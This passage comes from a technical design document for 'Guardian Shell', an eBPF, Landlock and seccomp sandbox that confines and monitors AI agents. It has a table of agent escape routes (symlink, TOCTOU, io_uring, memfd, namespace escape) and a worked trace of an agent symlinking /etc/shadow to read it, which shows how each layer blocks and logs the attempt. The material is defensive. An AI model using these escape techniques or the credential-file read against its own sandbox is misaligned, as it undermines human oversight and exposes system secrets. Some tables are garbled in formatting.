? eBPF LSM      ? file_open, bprm_check, etc.                 ?
? Cgroup        ? Resource limits, identity                   ?
? No New Privs? SUID escalation blocked                        ?
```

```

????????????????????????????????????????????????????????
? Symlink bypass:      IMMUNE (Landlock)      ?
? TOCTOU race:         IMMUNE (Landlock)      ?
? io_uring bypass:     BLOCKED (seccomp)      ?
? memfd execution:     BLOCKED (seccomp)      ?
? Mount escape:        BLOCKED (seccomp)      ?
? Namespace escape:    BLOCKED (seccomp)      ?
? SUID escalation:     BLOCKED (no_new_privs) ?
? Rename/hardlink:     BLOCKED (inode LSM)    ?
? Resource exhaustion: BLOCKED (cgroup limits) ?
? Identity spoofing:   IMPOSSIBLE (cgroup ID) ?
????????????????????????????????????????????????????????

```

Tier 2: Comm-Based Agents (Limited ? 1 layer)

Configured in config.toml by process name:

```

????????????????????????????????????????????????????????
?          Comm-Based Agent (Tier 2)          ?
????????????????????????????????????????????????????????
? eBPF only ? Tracepoint + LSM monitoring      ?
????????????????????????????????????????????????????????
? Symlink bypass:      VULNERABLE              ?
? TOCTOU race:         VULNERABLE              ?
? io_uring bypass:     VULNERABLE              ?
? memfd execution:     VULNERABLE              ?
? Mount escape:        VULNERABLE              ?
? Namespace escape:    VULNERABLE              ?
? SUID escalation:     VULNERABLE              ?
? Rename/hardlink:     Partially blocked (LSM)?
? Resource exhaustion: NO LIMITS                ?
? Identity spoofing:   POSSIBLE (rename comm) ?
????????????????????????????????????????????????????????

```

Recommendation: Always use cgroup agents (Tier 1) in production. Comm-based agents exist for backward compatibility and quick testing only.

21. Summary: All Layers Working Together

Here is a complete trace of what happens when a cgroup agent tries to access a denied file through a symlink:

```
Agent: ln -s /etc/shadow /tmp/trick && cat /tmp/trick
```

Step 1: LANDLOCK CHECK (inode level)

Kernel resolves /tmp/trick ? symlink ? /etc/shadow ? inode #12345

Landlock: is inode #12345 in the allow set?

- inode(/tmp) is allowed, but /etc/shadow's inode is NOT under /tmp
- /etc/shadow's inode is under /etc, which is NOT in the allow set

Result: -EACCES ? BLOCKED AT FIRST LAYER

(If Landlock were somehow bypassed, the next layers would catch it:)

Step 2: eBPF TRACEPOINT (sys_enter_openat)
Reads raw path: "/tmp/trick"
Is process in WATCHED_CGROUPS? YES (cgroup ID match)
Normalize path: "/tmp/trick" (no proc/.. to strip)
Evaluate policy: /tmp/** is allowed
? Does NOT set PENDING_DENY (raw path looks allowed)
? Sends event to userspace for logging

Step 3: eBPF LSM (file_open)
Checks PENDING_DENY: not set ? allows
(Landlock already blocked it, so this hook never fires)

Step 4: USERSPACE PROCESSING
Daemon receives event: agent tried to access /tmp/trick
Dashboard shows the access attempt in real-time events
Alert sent if configured

Step 5: SECCOMP (not triggered for normal file open)
Would block io_uring if agent tried that instead

Final result: Agent gets "Permission denied" from Landlock
Human operator sees the attempt in the dashboard
Audit trail records the event in SQLite

This is defense-in-depth in action: Landlock stopped the attack at the first layer, but even if it had failed, the eBPF LSM and seccomp layers would have provided additional protection. And regardless of whether the access was blocked or allowed, the audit trail captures everything for forensic analysis.

Appendix A: Kernel Feature Requirements

Feature	Minimum Kernel	Config Flag	Purpose
monitoring	4.15	CONFIG_BPF=y	All
Tracepoints	4.15	CONFIG_FTRACE=y	Syscall hooks
Event streaming	5.2	CONFIG_BPF=y	PerfEventArray
BPF LSM	5.7	CONFIG_BPF_LSM=y	Enforcement
bpf_d_path()	5.11	CONFIG_BPF_LSM=y	Symmlink resolution
Landlock	5.13	CONFIG_SECURITY LANDLOCK=y	Landlock TCP
Landlock sandbox	6.7	CONFIG_SECURITY LANDLOCK=y	Network sandbox
openat2	5.6	?	Modern file open
cgroup v2	4.5	CONFIG_CGROUPS=y	Agent isolation
Seccomp	3.17	CONFIG_SECCOMP=y	Syscall blocking
BTF	5.2	CONFIG_DEBUG_INFO_BTF=y	Portable offsets

Appendix B: Error Codes Used by Guardian

Error Code	Name	Returned By	Meaning
-13	EACCES	file_open, inode_rename, inode_unlink, inode_link	Permission denied (file access)
-1	EPERM		

bprm_check_security | Operation not permitted (exec blocked) | | -111 | ECONNREFUSED |
socket_connect | Connection refused (network blocked) |

Appendix C: Glossary

| Term | Definition | |-----|-----| | eBPF | Extended Berkeley Packet Filter ?
safe kernel-space programmability | | LSM | Linux Security Module ? kernel hook
framework for access control | | BPF Map | Shared data structure between kernel eBPF
programs and userspace | | Tracepoint | Pre-defined kernel instrumentation point at
syscall boundaries | | Landlock | Self-imposed inode-level filesystem sandbox (Linux
5.13+) | | Seccomp | Syscall filtering via BPF programs | | Cgroup | Control Group ?
kernel mechanism for process grouping and resource limits | | Inode | Index Node ?
unique identifier for a file on disk (independent of path/name) | | Dentry | Directory
Entry ? kernel cache entry mapping names to inodes | | VFS | Virtual File System ?
kernel abstraction layer for filesystem access | | TOCTOU | Time-of-Check-to-Time-of-Use
? race condition attack | | Symlink | Symbolic Link ? a file that points to another file
by path name | | Hardlink | A second directory entry pointing to the same inode | | SUID
| Set User ID ? binary that runs with the file owner's privileges | |
PR_SET_NO_NEW_PRIVS | Process flag preventing privilege escalation via exec | |
PerfEventArray | BPF map type for streaming events to userspace | | LpmTrie | Longest
Prefix Match Trie ? BPF map for prefix matching (like /tmp/) | | PerCpuArray | BPF map
with one copy per CPU core (no locking needed) | | Oneshot Channel | Rust async
primitive that sends exactly one message | | BTF | BPF Type Format ? kernel type
metadata for portable eBPF programs | | SIGHUP** | Signal Hang Up ? Unix signal used to
reload daemon configuration |

Generated for Guardian Shell Phase 10 ? March 2026 *This document covers all security
mechanisms implemented through Phase 10 (Hardened Cgroup Agents)*